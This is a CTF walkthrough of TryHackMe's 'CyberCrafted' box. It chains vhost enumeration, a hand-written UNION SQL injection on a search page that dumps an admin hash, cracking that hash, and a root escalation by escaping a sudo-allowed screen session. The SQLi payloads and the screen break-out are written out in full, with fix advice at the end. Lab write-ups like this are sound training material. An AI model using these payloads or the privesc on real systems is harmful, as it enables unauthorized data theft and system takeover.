CyberCrafted
Virtual-host enumeration leads to a UNION SQL injection that dumps an admin hash; cracking it opens an admin panel for a shell, and a sudo-allowed screen command is broken out of for root.
TryHackMe: CyberCrafted — vhost SQLi to an Admin Panel, Then a sudo screen Root
A walkthrough of TryHackMe’s “CyberCrafted”: virtual-host enumeration uncovers a store subdomain with a UNION-based SQL injection that dumps the admin password hash. Cracking it opens the admin panel for a web shell, and the final step abuses a sudo-allowed screen command — breaking out of a locked-down console into a root shell.
CyberCrafted is an authorized training machine on TryHackMe; everything here was performed against a legal practice target. The cracked admin password and all flags are redacted — values shown as
<redacted>orTHM{<redacted>}are real on the box but withheld here.
TL;DR — the whole chain
TL;DR
ffuf finds the vhosts admin, store, www under cybercrafted.thm → store.cybercrafted.thm/search.php is UNION SQL-injectable → enumerate to the webapp.admin table and dump the admin user + hash → crack the hash and log into the admin panel, which gives command execution → reverse shell as the web user → pivot to a local user account → that user may run sudo /usr/bin/screen -r cybercrafted; screen runs as root, and its Ctrl-a c binding spawns a fresh window — a plain root shell — right past the restricted console.
The target
export IP=<target-ip>
Three services, with a Minecraft theme that runs through the whole box:
22/tcp OpenSSH 7.6p1
80/tcp Apache 2.4.29 -> redirects to http://cybercrafted.thm/
25565/tcp Minecraft 1.7.2 server
Add cybercrafted.thm to your hosts file, then fuzz for virtual hosts:
ffuf -w subdomains-top1million-20000.txt -u http://cybercrafted.thm/ \
-H "Host: FUZZ.cybercrafted.thm" -fc 302
# admin (200)
# store (403)
# www (200)
The vulnerability: an unparameterised search query
The admin subdomain reflects its error text straight from a URL parameter (a reflected XSS, but with no victim to phish it is a rabbit hole here). The real way in is on store: store.cybercrafted.thm/search.php drops user input into a SQL query unescaped.
Insight
A single quote in the search box breaks the query, which is the classic tell. From there a UNION SELECT turns the search feature into a read primitive over the whole database — version, schema, tables, columns, and finally the admin credentials. No tooling required; four columns and a handful of requests do it by hand.
Step 1 — UNION SQL injection on search.php
Walk the injection out manually. First the column count, then the MySQL version and current database:
5' union select 1,2,3,4 ;-- - # 4 columns reflected (2,3,4 printed)
5' union select 1,@@version,3,4 ;-- - # MySQL
5' union select 1,database(),3,4 ;-- - # webapp
Enumerate the schema, then dump the admin table:
5' union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='webapp' ;-- -
# ... stock, admin
5' union select 1,column_name,3,4 from information_schema.columns where table_name='admin' ;-- -
# id, user, hash
5' union select 1,id,user,hash from admin ;-- -
# -> admin / <hash>
Step 2 — crack the hash, log into the admin panel
The dumped hash cracks against rockyou:
john --wordlist=rockyou.txt admin_hash # -> cracked (value redacted)
Logging into the admin panel with admin / <redacted> unlocks a management interface that can run commands — which we turn into a reverse shell as the web user, then stabilise.
Step 3 — pivot to a local user
The web user is weak; the box has local accounts (including one named cybercrafted, matching the box). Moving laterally to a local user — via reused credentials/artefacts found on disk — gets us an account that, crucially, has a sudo rule. Along the way, /etc/crontab shows a root tar job (a wildcard-style path) that only fires on the first of the month — a decoy next to the real privesc.
Step 4 — root via sudo screen break-out
The sudo rule looks harmless — it only re-attaches to a locked-down Minecraft management console:
sudo -l
# (root) /usr/bin/screen -r cybercrafted
sudo /usr/bin/screen -r cybercrafted
# lands in a restricted CLI ("help" lists only Minecraft commands)
screen is running as root, and the forced arguments only pick which session to attach — they cannot stop screen’s own keybindings. Screen’s Ctrl-a c creates a brand-new window inside the root session, and that window is a normal shell:
# inside the attached screen session, press: Ctrl-a then c
# a new window opens as root
whoami # root
cat /root/root.txt # THM{<redacted>}
Impact
Critical
Critical — unauthenticated SQLi to root. The UNION injection is a remote, pre-auth database read (~CVSS 3.1 9.1, AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) that hands over admin credentials; the admin panel then yields code execution, and the sudo screen rule converts a low-priv user straight into root. A single injectable search box is the first and decisive crack.
Recommended fix
Fix
- Parameterise every query. Use prepared statements / bound parameters in
search.php; never concatenate request input into SQL. Give the DB user least privilege. - Hash with a modern KDF (bcrypt/argon2) and enforce strong passwords — the admin hash fell to rockyou.
- Don’t grant
sudo screen(or tmux, vi, less, tar…). Interactive tools can spawn shells; these are textbook GTFOBins privescs. If an operator truly needs a console, wrap it in a purpose-built, non-shell-spawning tool. - Encode reflected output to kill the XSS, and scope error messages so they are not attacker-controlled.
Takeaways
- Enumerate vhosts first on a themed site. The interesting app (
store) was a virtual host, invisible until you fuzz theHostheader. - Manual UNION SQLi is fast and precise. Column count → version → schema → dump is a four-request routine.
sudo+ an interactive program is almost always root. Check GTFOBins, but also read the tool’s manual — screen’s window-creation binding sidesteps the “restricted” arguments entirely.- Not every cron is the path. The first-of-the-month
tarjob is a distraction; the screen rule is the real door.
Thanks for reading. CyberCrafted is a clean web-to-root chain where the cleverest move is the simplest: once screen runs as root, a two-key shortcut is all it takes to leave the sandbox behind.